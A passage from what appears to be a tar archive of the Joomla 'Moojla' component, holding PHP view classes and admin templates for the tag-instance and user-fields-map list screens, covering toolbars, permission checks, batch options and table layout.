$this->pagination = $this->get('Pagination');
$this->state = $this->get('State');
$this->user = JFactory::getUser();
// Load the filter form from xml.
$this->filterForm = $this->get('FilterForm');
// Load the active filters.
$this->activeFilters = $this->get('ActiveFilters');
// Add the list ordering clause.
$this->listOrder =
$this->escape($this->state->get('list.ordering',
'a.id'));
$this->listDirn =
$this->escape($this->state->get('list.direction',
'DESC'));
$this->saveOrder = $this->listOrder == 'a.ordering';
// set the return here value
$this->return_here = urlencode(base64_encode((string)
JUri::getInstance()));
// get global action permissions
$this->canDo = MoojlaHelper::getActions('tag_instance');
$this->canEdit = $this->canDo->get('core.edit');
$this->canState =
$this->canDo->get('core.edit.state');
$this->canCreate = $this->canDo->get('core.create');
$this->canDelete = $this->canDo->get('core.delete');
$this->canBatch = $this->canDo->get('core.batch');
// We don't need toolbar in the modal window.
if ($this->getLayout() !== 'modal')
{
$this->addToolbar();
$this->sidebar = JHtmlSidebar::render();
// load the batch html
if ($this->canCreate && $this->canEdit &&
$this->canState)
{
$this->batchDisplay = JHtmlBatch_::render();
}
}
// Check for errors.
if (count($errors = $this->get('Errors')))
{
throw new Exception(implode("\n", $errors), 500);
}
// Display the template
parent::display($tpl);
// Set the document
$this->setDocument();
}
/**
* Setting the toolbar
*/
protected function addToolBar()
{
JToolBarHelper::title(JText::_('COM_MOOJLA_TAG_INSTANCES'),
'tags');
JHtmlSidebar::setAction('index.php?option=com_moojla&view=tag_instances');
JFormHelper::addFieldPath(JPATH_COMPONENT . '/models/fields');
if ($this->canCreate)
{
JToolBarHelper::addNew('tag_instance.add');
}
// Only load if there are items
if (MoojlaHelper::checkArray($this->items))
{
if ($this->canEdit)
{
JToolBarHelper::editList('tag_instance.edit');
}
if ($this->canState)
{
JToolBarHelper::publishList('tag_instances.publish');
JToolBarHelper::unpublishList('tag_instances.unpublish');
JToolBarHelper::archiveList('tag_instances.archive');
if ($this->canDo->get('core.admin'))
{
JToolBarHelper::checkin('tag_instances.checkin');
}
}
// Add a batch button
if ($this->canBatch && $this->canCreate &&
$this->canEdit && $this->canState)
{
// Get the toolbar object instance
$bar = JToolBar::getInstance('toolbar');
// set the batch button name
$title = JText::_('JTOOLBAR_BATCH');
// Instantiate a new JLayoutFile instance and render the batch button
$layout = new JLayoutFile('joomla.toolbar.batch');
// add the button to the page
$dhtml = $layout->render(array('title' => $title));
$bar->appendButton('Custom', $dhtml, 'batch');
}
if ($this->state->get('filter.published') == -2
&& ($this->canState && $this->canDelete))
{
JToolbarHelper::deleteList('',
'tag_instances.delete', 'JTOOLBAR_EMPTY_TRASH');
}
elseif ($this->canState && $this->canDelete)
{
JToolbarHelper::trash('tag_instances.trash');
}
}
// set help url for this view if found
$help_url = MoojlaHelper::getHelpUrl('tag_instances');
if (MoojlaHelper::checkString($help_url))
{
JToolbarHelper::help('COM_MOOJLA_HELP_MANAGER', false,
$help_url);
}
// add the options comp button
if ($this->canDo->get('core.admin') ||
$this->canDo->get('core.options'))
{
JToolBarHelper::preferences('com_moojla');
}
// Only load published batch if state and batch is allowed
if ($this->canState && $this->canBatch)
{
JHtmlBatch_::addListSelection(
JText::_('COM_MOOJLA_KEEP_ORIGINAL_STATE'),
'batch[published]',
JHtml::_('select.options',
JHtml::_('jgrid.publishedOptions', array('all' =>
false)), 'value', 'text', '', true)
);
}
// Only load access batch if create, edit and batch is allowed
if ($this->canBatch && $this->canCreate &&
$this->canEdit)
{
JHtmlBatch_::addListSelection(
JText::_('COM_MOOJLA_KEEP_ORIGINAL_ACCESS'),
'batch[access]',
JHtml::_('select.options',
JHtml::_('access.assetgroups'), 'value',
'text')
);
}
// Only load Moojlacourse Fullname batch if create, edit, and batch is
allowed
if ($this->canBatch && $this->canCreate &&
$this->canEdit)
{
// Set Moojlacourse Fullname Selection
$this->moojlacourseFullnameOptions =
JFormHelper::loadFieldType('Moojlacourse')->options;
// We do some sanitation for Moojlacourse Fullname filter
if (MoojlaHelper::checkArray($this->moojlacourseFullnameOptions)
&&
isset($this->moojlacourseFullnameOptions[0]->value) &&
!MoojlaHelper::checkString($this->moojlacourseFullnameOptions[0]->value))
{
unset($this->moojlacourseFullnameOptions[0]);
}
// Moojlacourse Fullname Batch Selection
JHtmlBatch_::addListSelection(
'- Keep Original
'.JText::_('COM_MOOJLA_TAG_INSTANCE_MOOJLACOURSE_LABEL').'
-',
'batch[moojlacourse]',
JHtml::_('select.options',
$this->moojlacourseFullnameOptions, 'value', 'text')
);
}
// Only load Moodletag Tagname batch if create, edit, and batch is
allowed
if ($this->canBatch && $this->canCreate &&
$this->canEdit)
{
// Set Moodletag Tagname Selection
$this->moodletagTagnameOptions =
JFormHelper::loadFieldType('Moodletag')->options;
// We do some sanitation for Moodletag Tagname filter
if (MoojlaHelper::checkArray($this->moodletagTagnameOptions)
&&
isset($this->moodletagTagnameOptions[0]->value) &&
!MoojlaHelper::checkString($this->moodletagTagnameOptions[0]->value))
{
unset($this->moodletagTagnameOptions[0]);
}
// Moodletag Tagname Batch Selection
JHtmlBatch_::addListSelection(
'- Keep Original
'.JText::_('COM_MOOJLA_TAG_INSTANCE_MOODLETAG_LABEL').'
-',
'batch[moodletag]',
JHtml::_('select.options', $this->moodletagTagnameOptions,
'value', 'text')
);
}
}
/**
* Method to set up the document properties
*
* @return void
*/
protected function setDocument()
{
if (!isset($this->document))
{
$this->document = JFactory::getDocument();
}
$this->document->setTitle(JText::_('COM_MOOJLA_TAG_INSTANCES'));
$this->document->addStyleSheet(JURI::root() .
"administrator/components/com_moojla/assets/css/tag_instances.css",
(MoojlaHelper::jVersion()->isCompatible('3.8.0')) ?
array('version' => 'auto') : 'text/css');
}
/**
* Escapes a value for output in a view script.
*
* @param mixed $var The output to escape.
*
* @return mixed The escaped value.
*/
public function escape($var)
{
if(strlen($var) > 50)
{
// use the helper htmlEscape method instead and shorten the string
return MoojlaHelper::htmlEscape($var, $this->_charset, true);
}
// use the helper htmlEscape method instead.
return MoojlaHelper::htmlEscape($var, $this->_charset);
}
/**
* Returns an array of fields the table can be sorted by
*
* @return array Array containing the field name to sort by as the key
and display text as value
*/
protected function getSortFields()
{
return array(
'a.ordering' =>
JText::_('JGRID_HEADING_ORDERING'),
'a.published' => JText::_('JSTATUS'),
'g.fullname' =>
JText::_('COM_MOOJLA_TAG_INSTANCE_MOOJLACOURSE_LABEL'),
'h.tagname' =>
JText::_('COM_MOOJLA_TAG_INSTANCE_MOODLETAG_LABEL'),
'a.id' => JText::_('JGRID_HEADING_ID')
);
}
}
views/user_fields_map/index.html000064400000000054151165724410013044
0ustar00<html><body
bgcolor="#FFFFFF"></body></html>views/user_fields_map/tmpl/default.php000064400000005565151165724410014174
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage default.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
JHtml::_('behavior.tooltip');
JHtml::_('behavior.multiselect');
JHtml::_('dropdown.init');
JHtml::_('formbehavior.chosen', 'select');
if ($this->saveOrder)
{
$saveOrderingUrl =
'index.php?option=com_moojla&task=user_fields_map.saveOrderAjax&tmpl=component';
JHtml::_('sortablelist.sortable',
'user_field_mapList', 'adminForm',
strtolower($this->listDirn), $saveOrderingUrl);
}
?>
<form action="<?php echo
JRoute::_('index.php?option=com_moojla&view=user_fields_map');
?>" method="post" name="adminForm"
id="adminForm">
<?php if(!empty( $this->sidebar)): ?>
<div id="j-sidebar-container" class="span2">
<?php echo $this->sidebar; ?>
</div>
<div id="j-main-container" class="span10">
<?php else : ?>
<div id="j-main-container">
<?php endif; ?>
<?php
// Add the searchtools
echo JLayoutHelper::render('joomla.searchtools.default',
array('view' => $this));
?>
<?php if (empty($this->items)): ?>
<div class="alert alert-no-items">
<?php echo JText::_('JGLOBAL_NO_MATCHING_RESULTS'); ?>
</div>
<?php else : ?>
<table class="table table-striped"
id="user_field_mapList">
<thead><?php echo
$this->loadTemplate('head');?></thead>
<tfoot><?php echo
$this->loadTemplate('foot');?></tfoot>
<tbody><?php echo
$this->loadTemplate('body');?></tbody>
</table>
<?php // Load the batch processing form. ?>
<?php if ($this->canCreate && $this->canEdit) : ?>
<?php echo JHtml::_(
'bootstrap.renderModal',
'collapseModal',
array(
'title' =>
JText::_('COM_MOOJLA_USER_FIELDS_MAP_BATCH_OPTIONS'),
'footer' =>
$this->loadTemplate('batch_footer')
),
$this->loadTemplate('batch_body')
); ?>
<?php endif; ?>
<input type="hidden" name="boxchecked"
value="0" />
</div>
<?php endif; ?>
<input type="hidden" name="task" value=""
/>
<?php echo JHtml::_('form.token'); ?>
</form>
views/user_fields_map/tmpl/default_batch_body.php000064400000002342151165724410016340
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage default_batch_body.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
?>
<p><?php echo
JText::_('COM_MOOJLA_USER_FIELDS_MAP_BATCH_TIP'); ?></p>
<?php echo $this->batchDisplay;
?>views/user_fields_map/tmpl/default_batch_footer.php000064400000002740151165724410016703
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage default_batch_footer.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
?>
<!-- clear the batch values if cancel -->
<button class="btn" type="button"
onclick="" data-dismiss="modal">
<?php echo JText::_('JCANCEL'); ?>
</button>
<!-- post the batch values if process -->
<button class="btn btn-success" type="submit"
onclick="Joomla.submitbutton('user_field_map.batch');">
<?php echo JText::_('JGLOBAL_BATCH_PROCESS'); ?>
</button>views/user_fields_map/tmpl/default_body.php000064400000007774151165724420015216
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage default_body.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
$edit =
"index.php?option=com_moojla&view=user_fields_map&task=user_field_map.edit";
?>
<?php foreach ($this->items as $i => $item): ?>
<?php
$canCheckin = $this->user->authorise('core.manage',
'com_checkin') || $item->checked_out == $this->user->id
|| $item->checked_out == 0;
$userChkOut = JFactory::getUser($item->checked_out);
$canDo =
MoojlaHelper::getActions('user_field_map',$item,'user_fields_map');
?>
<tr class="row<?php echo $i % 2; ?>">
<td class="order nowrap center hidden-phone">
<?php if ($canDo->get('core.edit.state')): ?>
<?php
$iconClass = '';
if (!$this->saveOrder)
{
$iconClass = ' inactive tip-top" hasTooltip"
title="' . JHtml::tooltipText('JORDERINGDISABLED');
}
?>
<span class="sortable-handler<?php echo $iconClass;
?>">
<i class="icon-menu"></i>
</span>
<?php if ($this->saveOrder) : ?>
<input type="text" style="display:none"
name="order[]" size="5"
value="<?php echo $item->ordering; ?>"
class="width-20 text-area-order " />
<?php endif; ?>
<?php else: ?>
⋮
<?php endif; ?>
</td>
<td class="nowrap center">
<?php if ($canDo->get('core.edit')): ?>
<?php if ($item->checked_out) : ?>
<?php if ($canCheckin) : ?>
<?php echo JHtml::_('grid.id', $i, $item->id); ?>
<?php else: ?>
□
<?php endif; ?>
<?php else: ?>
<?php echo JHtml::_('grid.id', $i, $item->id); ?>
<?php endif; ?>
<?php else: ?>
□
<?php endif; ?>
</td>
<td class="nowrap">
<div class="name">
<?php if ($canDo->get('core.edit')): ?>
<a href="<?php echo $edit; ?>&id=<?php echo
$item->id; ?>"><?php echo
$this->escape($item->juserfields_name); ?></a>
<?php if ($item->checked_out): ?>
<?php echo JHtml::_('jgrid.checkedout', $i,
$userChkOut->name, $item->checked_out_time,
'user_fields_map.', $canCheckin); ?>
<?php endif; ?>
<?php else: ?>
<?php echo $this->escape($item->juserfields_name); ?>
<?php endif; ?>
</div>
</td>
<td class="hidden-phone">
<?php echo $this->escape($item->muserfields_id); ?>
</td>
<td class="hidden-phone">
<?php echo JText::_($item->iscv); ?>
</td>
<td class="center">
<?php if ($canDo->get('core.edit.state')) : ?>
<?php if ($item->checked_out) : ?>
<?php if ($canCheckin) : ?>
<?php echo JHtml::_('jgrid.published',
$item->published, $i, 'user_fields_map.', true,
'cb'); ?>
<?php else: ?>
<?php echo JHtml::_('jgrid.published',
$item->published, $i, 'user_fields_map.', false,
'cb'); ?>
<?php endif; ?>
<?php else: ?>
<?php echo JHtml::_('jgrid.published',
$item->published, $i, 'user_fields_map.', true,
'cb'); ?>
<?php endif; ?>
<?php else: ?>
<?php echo JHtml::_('jgrid.published', $item->published,
$i, 'user_fields_map.', false, 'cb'); ?>
<?php endif; ?>
</td>
<td class="nowrap center hidden-phone">
<?php echo $item->id; ?>
</td>
</tr>
<?php endforeach;
?>views/user_fields_map/tmpl/default_foot.php000064400000002304151165724420015210
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage default_foot.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
?>
<tr>
<td colspan="7"><?php echo
$this->pagination->getListFooter(); ?></td>
</tr>views/user_fields_map/tmpl/default_head.php000064400000005251151165724420015146
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage default_head.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
?>
<tr>
<?php if ($this->canEdit&& $this->canState): ?>
<th width="1%" class="nowrap center
hidden-phone">
<?php echo JHtml::_('searchtools.sort', '',
'a.ordering', $this->listDirn, $this->listOrder, null,
'asc', 'JGRID_HEADING_ORDERING',
'icon-menu-2'); ?>
</th>
<th width="20" class="nowrap center">
<?php echo JHtml::_('grid.checkall'); ?>
</th>
<?php else: ?>
<th width="20" class="nowrap center
hidden-phone">
▾
</th>
<th width="20" class="nowrap center">
■
</th>
<?php endif; ?>
<th class="nowrap" >
<?php echo JHtml::_('searchtools.sort',
'COM_MOOJLA_USER_FIELD_MAP_JUSERFIELDS_LABEL',
'g.name', $this->listDirn, $this->listOrder); ?>
</th>
<th class="nowrap hidden-phone" >
<?php echo JHtml::_('searchtools.sort',
'COM_MOOJLA_USER_FIELD_MAP_MUSERFIELDS_LABEL', 'h.id',
$this->listDirn, $this->listOrder); ?>
</th>
<th class="nowrap hidden-phone" >
<?php echo JHtml::_('searchtools.sort',
'COM_MOOJLA_USER_FIELD_MAP_ISCV_LABEL', 'a.iscv',
$this->listDirn, $this->listOrder); ?>
</th>
<?php if ($this->canState): ?>
<th width="10" class="nowrap center" >
<?php echo JHtml::_('searchtools.sort',
'COM_MOOJLA_USER_FIELD_MAP_STATUS', 'a.published',
$this->listDirn, $this->listOrder); ?>
</th>
<?php else: ?>
<th width="10" class="nowrap center" >
<?php echo JText::_('COM_MOOJLA_USER_FIELD_MAP_STATUS');
?>
</th>
<?php endif; ?>
<th width="5" class="nowrap center hidden-phone"
>
<?php echo JHtml::_('searchtools.sort',
'COM_MOOJLA_USER_FIELD_MAP_ID', 'a.id',
$this->listDirn, $this->listOrder); ?>
</th>
</tr>views/user_fields_map/tmpl/default_toolbar.php000064400000007062151165724420015711
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage default_toolbar.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
?>
<div id="filter-bar" class="btn-toolbar">
<div class="filter-search btn-group pull-left">
<label for="filter_search"
class="element-invisible"><?php echo
JText::_('Search');?></label>
<input type="text" name="filter_search"
id="filter_search" placeholder="<?php echo
JText::_('JSEARCH_FILTER'); ?>" value="<?php echo
$this->escape($this->state->get('filter.search'));
?>" class="hasTooltip" title="<?php echo
JHtml::tooltipText('Search User_fields_map'); ?>" />
</div>
<div class="btn-group pull-left">
<button type="submit" class="btn
hasTooltip" title="<?php echo
JHtml::tooltipText('JSEARCH_FILTER_SUBMIT'); ?>"><i
class="icon-search"></i></button>
<button type="button" class="btn
hasTooltip" title="<?php echo
JHtml::tooltipText('JSEARCH_FILTER_CLEAR'); ?>"
onclick="document.id('filter_search').value='';this.form.submit();"><i
class="icon-remove"></i></button>
</div>
<div class="btn-group pull-right hidden-phone">
<label for="limit"
class="element-invisible"><?php echo
JText::_('JFIELD_PLG_SEARCH_SEARCHLIMIT_DESC');?></label>
<?php echo $this->pagination->getLimitBox(); ?>
</div>
<div class="btn-group pull-right hidden-phone">
<label for="directionTable"
class="element-invisible"><?php echo
JText::_('JFIELD_ORDERING_DESC');?></label>
<select name="directionTable"
id="directionTable" class="input-medium"
onchange="Joomla.orderTable()">
<option value=""><?php echo
JText::_('JFIELD_ORDERING_DESC');?></option>
<option value="asc" <?php if
($this->listDirn == 'asc') echo
'selected="selected"'; ?>><?php echo
JText::_('JGLOBAL_ORDER_ASCENDING');?></option>
<option value="desc" <?php if
($this->listDirn == 'desc') echo
'selected="selected"'; ?>><?php echo
JText::_('JGLOBAL_ORDER_DESCENDING');?></option>
</select>
</div>
<div class="btn-group pull-right">
<label for="sortTable"
class="element-invisible"><?php echo
JText::_('JGLOBAL_SORT_BY');?></label>
<select name="sortTable" id="sortTable"
class="input-medium" onchange="Joomla.orderTable()">
<option value=""><?php echo
JText::_('JGLOBAL_SORT_BY');?></option>
<?php echo JHtml::_('select.options',
$this->getSortFields(), 'value', 'text',
$this->listOrder);?>
</select>
</div>
</div>
<div class="clearfix">
</div>views/user_fields_map/tmpl/index.html000064400000000054151165724420014021
0ustar00<html><body
bgcolor="#FFFFFF"></body></html>views/user_fields_map/view.html.php000064400000017174151165724420013511
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage view.html.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
/**
* Moojla View class for the User_fields_map
*/
class MoojlaViewUser_fields_map extends JViewLegacy
{
/**
* User_fields_map view display method
* @return void
*/
function display($tpl = null)
{
if ($this->getLayout() !== 'modal')
{
// Include helper submenu
MoojlaHelper::addSubmenu('user_fields_map');
}
// Assign data to the view
$this->items = $this->get('Items');
$this->pagination = $this->get('Pagination');
$this->state = $this->get('State');
$this->user = JFactory::getUser();
// Load the filter form from xml.
$this->filterForm = $this->get('FilterForm');
// Load the active filters.
$this->activeFilters = $this->get('ActiveFilters');
// Add the list ordering clause.
$this->listOrder =
$this->escape($this->state->get('list.ordering',
'a.id'));
$this->listDirn =
$this->escape($this->state->get('list.direction',
'DESC'));
$this->saveOrder = $this->listOrder == 'a.ordering';
// set the return here value
$this->return_here = urlencode(base64_encode((string)
JUri::getInstance()));
// get global action permissions
$this->canDo = MoojlaHelper::getActions('user_field_map');
$this->canEdit = $this->canDo->get('core.edit');
$this->canState =
$this->canDo->get('core.edit.state');
$this->canCreate = $this->canDo->get('core.create');
$this->canDelete = $this->canDo->get('core.delete');
$this->canBatch = $this->canDo->get('core.batch');
// We don't need toolbar in the modal window.
if ($this->getLayout() !== 'modal')
{
$this->addToolbar();
$this->sidebar = JHtmlSidebar::render();
// load the batch html
if ($this->canCreate && $this->canEdit &&
$this->canState)
{
$this->batchDisplay = JHtmlBatch_::render();
}
}
// Check for errors.
if (count($errors = $this->get('Errors')))
{
throw new Exception(implode("\n", $errors), 500);
}
// Display the template
parent::display($tpl);
// Set the document
$this->setDocument();
}
/**
* Setting the toolbar
*/
protected function addToolBar()
{
JToolBarHelper::title(JText::_('COM_MOOJLA_USER_FIELDS_MAP'),
'pencil');
JHtmlSidebar::setAction('index.php?option=com_moojla&view=user_fields_map');
JFormHelper::addFieldPath(JPATH_COMPONENT . '/models/fields');
if ($this->canCreate)
{
JToolBarHelper::addNew('user_field_map.add');
}
// Only load if there are items
if (MoojlaHelper::checkArray($this->items))
{
if ($this->canEdit)
{
JToolBarHelper::editList('user_field_map.edit');
}
if ($this->canState)
{
JToolBarHelper::publishList('user_fields_map.publish');
JToolBarHelper::unpublishList('user_fields_map.unpublish');
JToolBarHelper::archiveList('user_fields_map.archive');
if ($this->canDo->get('core.admin'))
{
JToolBarHelper::checkin('user_fields_map.checkin');
}
}
// Add a batch button
if ($this->canBatch && $this->canCreate &&
$this->canEdit && $this->canState)
{
// Get the toolbar object instance
$bar = JToolBar::getInstance('toolbar');
// set the batch button name
$title = JText::_('JTOOLBAR_BATCH');
// Instantiate a new JLayoutFile instance and render the batch button
$layout = new JLayoutFile('joomla.toolbar.batch');
// add the button to the page
$dhtml = $layout->render(array('title' => $title));
$bar->appendButton('Custom', $dhtml, 'batch');
}
if ($this->state->get('filter.published') == -2
&& ($this->canState && $this->canDelete))
{
JToolbarHelper::deleteList('',
'user_fields_map.delete', 'JTOOLBAR_EMPTY_TRASH');
}
elseif ($this->canState && $this->canDelete)
{
JToolbarHelper::trash('user_fields_map.trash');
}
}
// set help url for this view if found
$help_url = MoojlaHelper::getHelpUrl('user_fields_map');
if (MoojlaHelper::checkString($help_url))
{
JToolbarHelper::help('COM_MOOJLA_HELP_MANAGER', false,
$help_url);
}
// add the options comp button
if ($this->canDo->get('core.admin') ||
$this->canDo->get('core.options'))
{
JToolBarHelper::preferences('com_moojla');
}
// Only load published batch if state and batch is allowed
if ($this->canState && $this->canBatch)
{
JHtmlBatch_::addListSelection(
JText::_('COM_MOOJLA_KEEP_ORIGINAL_STATE'),
'batch[published]',
JHtml::_('select.options',
JHtml::_('jgrid.publishedOptions', array('all' =>
false)), 'value', 'text', '', true)
);
}
// Only load Iscv batch if create, edit, and batch is allowed
if ($this->canBatch && $this->canCreate &&
$this->canEdit)
{
// Set Iscv Selection
$this->iscvOptions =
JFormHelper::loadFieldType('userfieldsmapfilteriscv')->options;
// We do some sanitation for Iscv filter
if (MoojlaHelper::checkArray($this->iscvOptions) &&
isset($this->iscvOptions[0]->value) &&
!MoojlaHelper::checkString($this->iscvOptions[0]->value))
{
unset($this->iscvOptions[0]);
}
// Iscv Batch Selection
JHtmlBatch_::addListSelection(
'- Keep Original
'.JText::_('COM_MOOJLA_USER_FIELD_MAP_ISCV_LABEL').'
-',
'batch[iscv]',
JHtml::_('select.options', $this->iscvOptions,
'value', 'text')
);
}
}
/**
* Method to set up the document properties
*
* @return void
*/
protected function setDocument()
{
if (!isset($this->document))
{
$this->document = JFactory::getDocument();
}
$this->document->setTitle(JText::_('COM_MOOJLA_USER_FIELDS_MAP'));
$this->document->addStyleSheet(JURI::root() .
"administrator/components/com_moojla/assets/css/user_fields_map.css",
(MoojlaHelper::jVersion()->isCompatible('3.8.0')) ?
array('version' => 'auto') : 'text/css');
}
/**
* Escapes a value for output in a view script.
*
* @param mixed $var The output to escape.
*
* @return mixed The escaped value.
*/
public function escape($var)
{
if(strlen($var) > 50)
{
// use the helper htmlEscape method instead and shorten the string
return MoojlaHelper::htmlEscape($var, $this->_charset, true);
}
// use the helper htmlEscape method instead.
return MoojlaHelper::htmlEscape($var, $this->_charset);
}
/**
* Returns an array of fields the table can be sorted by
*
* @return array Array containing the field name to sort by as the key
and display text as value
*/
protected function getSortFields()
{
return array(
'a.ordering' =>
JText::_('JGRID_HEADING_ORDERING'),
'a.published' => JText::_('JSTATUS'),
'g.name' =>
JText::_('COM_MOOJLA_USER_FIELD_MAP_JUSERFIELDS_LABEL'),
'h.id' =>
JText::_('COM_MOOJLA_USER_FIELD_MAP_MUSERFIELDS_LABEL'),
'a.iscv' =>
JText::_('COM_MOOJLA_USER_FIELD_MAP_ISCV_LABEL'),
'a.id' => JText::_('JGRID_HEADING_ID')
);
}
}
